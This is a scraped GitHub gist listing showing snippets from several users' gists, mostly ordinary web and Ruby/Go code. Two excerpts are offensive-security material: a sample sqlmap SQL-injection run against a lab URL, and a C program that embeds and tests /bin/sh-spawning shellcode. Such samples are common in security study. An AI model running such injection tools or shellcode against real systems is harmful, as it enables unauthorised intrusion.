Skip to content

Instantly share code, notes, and snippets.

View CyberLight's full-sized avatar
🎓
in training

Aleksandr Vishniakov CyberLight

🎓
in training
View GitHub Profile
@stamparm
stamparm / output.txt
Last active March 5, 2019 21:44
Sample sqlmap run
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z "ign,flu,bat" --banner -f
sqlmap/1.0-dev-7614c81 - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:30:49
[10:30:49] [INFO] testing connection to the target url
@securitytube
securitytube / shellcode.c
Created April 5, 2013 12:14
C Program to test shellcode
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
@brendandixon
brendandixon / twitter-bootstrap-btn-flat
Created January 27, 2013 20:20
Flat button styles for Twitter Bootstrap - conveniently borrowed from https://github.com/twitter/bootstrap/issues/1341
// For IE
.btn-inverse:active,
.btn-inverse.active {
background-color: #080808 \9;
}
// Add 'btn-flat' to your buttons
.btn-flat {
filter:progid:DXImageTransform.Microsoft.Gradient(enabled='false');
# some ./app/helpers/some_helper.rb, in my case actually in an engine gem
module SomeGemHelper
def my_gem_decorate(model)
# Here I'm hard-coding to always decorate with MyDecorator,
# but it could also be passed in as a method arg, or guessed
# from the model.class name, or from a differnet model attribute
# like model.presenter_class, or taken from configuration, or
# some combination -- whatever meets the needs of your design.
decorated = MyDecorator.new(model, self)
yield if block_given?
@jrochkind
jrochkind / gist:4342817
Created December 20, 2012 03:48
Still SimpleDelegator based Decorator, but with an ActionView::Context view_context passed in too
require 'delegate'
class Base
def foo
"foo"
end
def bar
"bar"
end
end
@dciccale
dciccale / README.md
Last active October 22, 2021 21:52
Tiny Cross-browser DOM ready function in 111 bytes of JavaScript

DOM Ready

Tiny Cross-browser DOM ready function in 111 bytes of JavaScript.

@ekorneeff
ekorneeff / faye.ru
Created September 15, 2012 20:10
Faye online/offline status to Rails via Redis
# Run with: rackup faye.ru -s thin -E production
# For executor-customer chat
require "bundler/setup"
require "faye"
require 'redis'
require 'redis/objects'
Redis.current = Redis.new(:host => '127.0.0.1', :port => 6379)
Faye::WebSocket.load_adapter('thin')
@mikesmullin
mikesmullin / chromedriver.sh
Created May 8, 2012 16:08
easily install chromedriver on linux/osx
sudo apt-get install unzip;
wget -O /tmp/chromedriver.zip http://chromedriver.googlecode.com/files/chromedriver_linux64_19.0.1068.0.zip && sudo unzip /tmp/chromedriver.zip chromedriver -d /usr/local/bin/;
@hsablonniere
hsablonniere / README.md
Created May 2, 2012 22:42
scrollIntoViewIfNeeded 4 everyone!!!

scrollIntoViewIfNeeded 4 everyone!!!

This gist provides a simple JavaScript implementation of the non-standard WebKit method scrollIntoViewIfNeeded that can be called on DOM elements.

Usage

Just use the code in index.js in your app or website. You can see usage in the test page test.html.

The parent element will only scroll if the element being called is out of the view. The boolean can force the element to be centered in the scrolling area.

@andelf
andelf / cookiejar.go
Last active June 20, 2017 05:13
A golang in memory cookiejar
// MIT license (c) andelf 2012
type InMemoryCookieJar struct{
storage map[string][]http.Cookie
}
// buggy... but works
func (jar InMemoryCookieJar) SetCookies(u *url.URL, cookies []*http.Cookie) {
for _, ck := range cookies {
path := ck.Domain